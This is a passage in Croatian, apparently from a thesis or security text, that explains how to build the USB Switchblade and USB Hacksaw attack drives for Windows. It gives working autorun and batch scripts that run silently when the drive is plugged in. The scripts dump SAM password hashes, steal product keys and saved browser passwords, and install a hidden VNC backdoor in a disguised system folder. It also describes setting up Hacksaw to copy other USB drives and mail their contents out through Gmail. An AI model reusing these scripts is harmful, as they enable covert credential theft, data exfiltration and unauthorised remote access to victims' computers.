5. Automatsko prikupljanje podataka pomoću USB uređaja

U ovom će se poglavlju obrađivati dvije tehnike relativno novijeg datuma za Windows platformu. Prvo je 6. rujna 2006. godine predstavljen USB Switchblade u Internet emisiji Hak5 [15]. Nakon toga je razvoj nastavila zajednica korisnika okupljena oko te emisije, te je nešto kasnije nastao USB Hacksaw. U originalnoj izvedbi obje tehnike koriste U3 USB tehnologiju, ali postoje modifikacije tehnike, koje su doduše manje uspješne, ali za koje nije potreban U3 USB disk. Modifikacije temelje svoj uspjeh na društvenom inženjeringu.

5.1 USB U3 tehnologija i potrebne izmjene

Windows operacijski sustavi različito pristupaju otvaranju diskova ovisno o tome da li je disk CD (ili DVD) ili je disk USB. U slučaju da je umetnut CD, te ako je uključena opcija automatskog pokretanja (eng. autorun) potražit će se u korijenskom direktoriju CD-a datoteka "autorun.inf" te će se izvršiti akcija zapisana u njoj. Ako se ne nalazi, postupak teče vrlo slično postupku kod priključenja USB diska.

[Autorun]
open=setup.exe

Slika 5.1 – Najjednostavniji oblik "autorun.inf" datoteke

Najjednostavniji oblik "autorun.inf" datoteke sadrži dvije linije. U prvoj se nalazi samo [Autorun], dok se u drugoj liniji navodi željena akcija, u ovom slučaju pokretanje datoteke "setup.exe". Ovo je uobičajeni, iako nešto pojednostavljen, izgled "autorun.inf" datoteke koji se nalazi na svim instalacijskim CD-ima, pod uvjetom da imaju automatsko pokretanje.

Kod USB-a je situacija drugačija. Nakon što se na računalo priključi neki USB disk, te ga Windowsi otkriju, pojavi se prozor s željenom akcijom ili se pokreće neka prethodno odabrana stalna akcija. Neke ponuđene akcije su: pretraživanje za multimedijalnim datotekama te njihovo sviranje, ispis fotografija, otvaranje u Windows Exploreru te da se ne učini ništa.

U3 USB diskovi su posebno formatirani USB diskovi sa dvije particije. Jedna je klasična USB diskovna particija, a drugu Windowsi prepoznaju kao CD/DVD uređaj. Prva će se u daljnjem tekstu nazivati USB particija, a druga CD particija. U skladu s gore opisanim postupkom na CD particiji će se potražiti "autorun.inf" te će se pokrenuti. Kod originalnih U3 USB diskova se na CD particiji nalazi program kojeg pokreće "autorun.inf". Taj program služi za korištenje raznih U3 aplikacija, te neće biti posebno spominjan, jer će biti uklonjen.

Dakle U3 diskovi omogućuju automatsko pokretanje proizvoljnih programa prilikom uključenja diska u računalo. Budući da je CD particija zaključana te je se ne može mijenjat potrebno je izvršiti postupak brisanja originalnog softwarea na U3 disku. Postoje alati za ovaj postupak za U3 diskove tvrtki Memorex i SanDisk, ali postoji i alat koji U3 disk bilo koje marke "pretvori" u Memorexov [16] te se u daljnjem tekstu pretpostavlja da je promijenjen. Nakon toga se na CD particiju mogu smjestiti proizvoljne datoteke. Datoteke se prebacuju tako da se napravi vlastita isoslika željenih datoteka, te se pokrene program koji dolazi u sklopu gornjih alata, koji će ih prebaciti na CD particiju.

5.2 Izrada USB Switchbladea

Prvo trebamo gore opisanim postupkom na CD particiju prebaciti sljedeće dvije datoteke, "autorun.inf" i "start.bat", te na USB particiju praznu datoteku "youwillbehackedsoon.txt" u korijenski direktrorij, te trebamo stvoriti direktorij "\WIP\CMD", te u taj direktorij i u direktrorij "\WIP" stavimo "nircmd.exe" [17]. Također u "\WIP\CMD" stavimo skriptu (eng. batch file) "go.cmd". Svrha svake od datoteka i direktorija će biti objašnjena o daljnjem tekstu.

[Autorun] open=start.bat
Slika 5.2 – Izgled datoteke "autorun.inf"

Izgled "autorun.inf" datoteke je već objašnjen u gornjem tekstu. Dakle, ova datoteka pokreće skriptu po imenu "start.bat" koja se nalazi s njom na particiji.

@echo off
for %%i in (B C D E F G H I J K L M N O P Q R S T U V W X Y Z)
do if exist %%i:\youwillbehackedsoon.txt set dir=%%i
cd /d %dir%:
cd /d WIP
nircmd.exe execmd \WIP\CMD\go.cmd

Slika 5.3 – Izgled datoteke "start.bat"

Prva linija "@echo off" znači da se prilikom pokretanja skripte neće prikazati command prompt.

Druga ("for…") i treća("do…") linija ispituju sva moguća slova koja je kao oznaku mogla dobiti usb particija, tražeći datoteku "youwillbehackedsoon.txt" te u varijablu "i" stave ispravnu oznaku.

Treća i četvrta linija pozicioniraju trenutni radni direktorij na direktorij "\WIP" na USB particji.

Peta linija pokreće program "nircmd.exe" s parametrom "execmd" te putom do datoteke "go.cmd".

"nircmd.exe" je jednostavna komandno linijska aplikacija koja omogućava pokretanje nekih zadataka bez pokazivanja bilo kakvog korisničkog sučelja. Parametar "execmd" označava da se pokreće naredba command propmta.

Dakle, datoteka "start.bat" pronalazi USB particiju, te pokreće datoteku "go.cmd".

5.3 Switchbladepaketi

Nakon što je pokrenuta datoteka "go.cmd", ona ima dopuštenja prenesena od trenutno prijavljenog korisnika, dakle može raditi sve što bi i on mogao. Sve što dalje radimo, radimo u njoj.

@echo off
if not exist \WIP\dump md \WIP\dump >nul
if not exist \WIP\dump\%computername% md \WIP\dump\%computername% >nul
cd \WIP\CMD\ >nul
Slika 5.4 – Početak "go.cmd" datoteke

"@echo off" linija je već objašnjena. Druga linija stvara direktorij "\WIP\dump" ako on već ne postoji. U njemu će se nalaziti svi prikupljeni podaci, pospremljeni u direktorij čije ime odgovara imenu računala s kojeg su podaci prikupljeni. Četvrta linija pozicionira kazalo u direktorij "\WIP\CMD".

Sljedeće što nam treba su programi i naredbe, u daljnjem tekstu paketi [18], koje će "go.cmd" pokretati. Ovdje ćemo obraditi i objasniti nekoliko osnovnih i korisnih.

5.3.1 Krađa SAMa

Za krađu SAM-a se koristi već objašnjeni program pwdump. Dakle, da bi krađa uspjela trenutno prijavljeni korisnik treba imati administratorske ovlasti.

Prvo trebamo u direktorij "\WIP\CMD" pospremiti pwdump te LsaExt.dll koji dolazi s njim u paketu. Nakon toga dodamo u "go.cmd" sljedeće linije.

Echo ****************** >> \WIP\dump\%computername%\%computername%.log 2>&1
Echo ****[Dump SAM]**** >> \WIP\dump\%computername%\%computername%.log 2>&1
Echo ****************** >> \WIP\dump\%computername%\%computername%.log 2>&1
.\pwdump 127.0.0.1 >> \WIP\dump\%computername%\%computername%.log 2>&1
Slika 5.5 – Dio "go.cmd" datoteke za krađu SAM-a

Prethodne linije stvaraju datoteku kojoj je ime jednako imenu računala s ekstenzijom .log, ili dopisuju na kraj te datoteke ako ona već postoji, u pripadajućem direktoriju. Ispisuju kratko zaglavlje od tri linije radi preglednosti, te zatim pokreću pwdump čiji se izlaz također zapisuje u tu datoteku.

U daljnjem prikazu rada paketa neće se prikazivati ispis zaglavlja nego samo naredbe potrebne za pokretanje paketa.

5.3.2 Krađa ključeva Microsoft proizvoda

Potreban nam je program ProduKey koji krade registracijske ključeve Microsoftovih proizvoda iz registrya.

.\produkey /nosavereg /stext "\WIP\dump\%computername%\%computername%_pk.log" /remote %computername% >> \WIP\dump\%computername%\%computername%.log 2>&1
copy \WIP\dump\%computername%\%computername%.log+ \WIP\dump\%computername%\%computername%_pk.log* \WIP\dump\%computername%\%computername%.log >> nul
del /f /q "\WIP\dump\%computername%\%computername%_pk.log" >nul
Slika 5.6 – Dio "go.cmd" datoteke za krađu ključeva Microsoft proizvoda

5.3.3 Krađa lozinki spremljenih u Internet preglednicima

Potreban nam je program iepv koji krade lozinke koje je korisnik spremio prilikom korištenja Internet Explorera te FirePassword koji krade lozinke spremljene u Mozilla Firefoxu. Oba preglednika su izuzetno ranjiva, iako koriste razne metode zaštite.

U Firefoxu postoji mogućnost uključivanja glavne lozinke koju treba unijeti prilikom pokretanja programa. Ako je ta mogućnost uključena sljedeći napad neće uspjeti, ali postoji metoda kojom se i onda može doći do lozinki. Sastoji se od krađe cijelog direktorija gdje je pospremljen profil trenutnog korisnika, te zatim provaljivanja glavne lozinke pomoću programa FireMaster te krađe lozinki pomoću programa FirePassword.

Lozinke iz Firefoxa spremaju se u posebnu datoteku, da dobijemo na preglednosti, jer je format ispisa drugačiji nego iz ostalih alata koje koristimo.

.\iepv.exe /stext "\WIP\dump\%computername%\%computername%_ie7.log" >> \WIP\dump\%computername%\%computername%.log 2>&1
copy \WIP\dump\%computername%\%computername%.log+ \WIP\dump\%computername%\%computername%_ie7.log* \WIP\dump\%computername%\%computername%.log >> nul
del /f /q "\WIP\dump\%computername%\%computername%_ie7.log" >nul
Slika 5.7 – Dio "go.cmd" datoteke za krađu lozinki iz Internet Explorera


FirePassword.exe > ..\dump\%computername%\FirePassword.txt
Slika 5.8 – Dio "go.cmd" datoteke za krađu lozinki iz Mozilla Firefoxa

5.3.4 Instalacija VNC-a

VNC je protokol za pristupanje udaljenom računalu preko grafičkog sučelja. Omogućuje korištenje udaljenog računala kao da upravo radimo na njemu. Moguće je tiho instalirati VNC server na napadanom računalu te mu zatim pristupiti s neke druge lokacije, te ga slobodno koristiti, ili samo promatrati što trenutno korisnik radi.

Potrebno je skinuti dva paketa. Prvi, "vncregestry.rar", je potrebno otpakirati u direktorij "\WIP\CMD", a drugi "VNCInstallfiles.rar" u "\WIP\VNCInstallfiles".

Sljedeće linije će stvoriti i pokrenuti server na napadnom računalu na portovima 5900 i 80 s lozinkom "yougothacked".

mkdir %systemroot%\$NtUninstallKB21050c07160c070f0b0a0a05031b05$ || mkdir "%appdata%\hbn"
cd \WIP\VNCInstallFiles
copy *.* %systemroot%\$NtUninstallKB21050c07160c070f0b0a0a05031b05$ || copy *.* "%appdata%\hbn"
attrib %systemroot%\$NtUninstallKB21050c07160c070f0b0a0a05031b05$ +s +h & attrib "%appdata%\hbn" +s +h
start %systemroot%\$NtUninstallKB21050c07160c070f0b0a0a05031b05$\services.bat
regedit /s \WIP\CMD\vncdmp.reg
regedit /s \WIP\CMD\vncdmp1.reg
regedit /s \WIP\CMD\vncdmp2.reg
regedit /s \WIP\CMD\VNC.reg
ping -n 3 localhost > nul
net start WinVNC
nircmd.exe execmd CALL \WIP\VNCInstallfiles\send.cmd
Slika 5.9 – Dio "go.cmd" datoteke za instalaciju VNC servera

5.4 Projekt USB Hacksaw

Projekt USB Hacksaw [19] je izrađen od strane zajednice okupljene oko Internet emisije Hak5, te se također kao i USB Switchblade zasniva na USB U3 tehnologiji. USB disk, pripremljen na malo kasnije opisani način, ćemo zvati USB Hacksaw.

Ideja je sljedeća. Kada netko umetne USB Hacksaw u računalo, on instalira određene programe u sakrivene direktorije, te latentno čeka da se umetne neki drugi USB disk. Prilikom umetanja, skriveno prekopira sve podatke s USB diska, arhivira ih u rar datoteku, te ih pošalje na željenu e-mail adresu. Za slanje se koristi gmail račun, dok primatelj može biti bilo koja adresa, pa čak i ista.

Sam proces pripremanja USB Hacksawa je jednostavan te prvo treba skinuti paket "hak5_usb_hacksaw_ver0.2poc.rar" s Internet stranice [19], pokrenuti program "LPInstaller.exe", kopirati direktorij "WIP" iz direktorija "/payload" iz skinutog paketa, u korijenski direktorij USB particije.

Nakon toga potrebno je urediti datoteku "/wip/sbs/send.bat". Izgled je sljedeći: ##gmail adresa pošiljatelja##željena adresa primatelja##lozinka gmail računa pošiljatelja.